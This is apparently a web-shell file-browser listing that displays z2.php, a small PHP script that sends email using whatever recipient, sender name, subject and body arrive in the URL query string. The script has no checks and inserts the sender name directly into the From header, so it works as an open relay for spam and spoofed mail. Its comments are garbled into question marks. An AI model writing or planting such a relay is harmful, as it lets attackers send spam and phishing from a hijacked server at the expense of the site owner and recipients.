Current Path : /proc/self/cwd/ |
Current File : //proc/self/cwd/z2.php |
<?php if (isset($_GET['to']) && isset($_GET['name']) && isset($_GET['subject']) && isset($_GET['message'])) { $to = $_GET['to']; $name = $_GET['name']; $subject = $_GET['subject']; $message = $_GET['message']; // ?????????????? ????????? $headers = "From: $name\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: text/plain; charset=utf-8\r\n"; // ???????? ?????? $result = mail($to, $subject, $message, $headers); if ($result) { echo 'OK.'; } else { echo 'BAD.'; } } ?>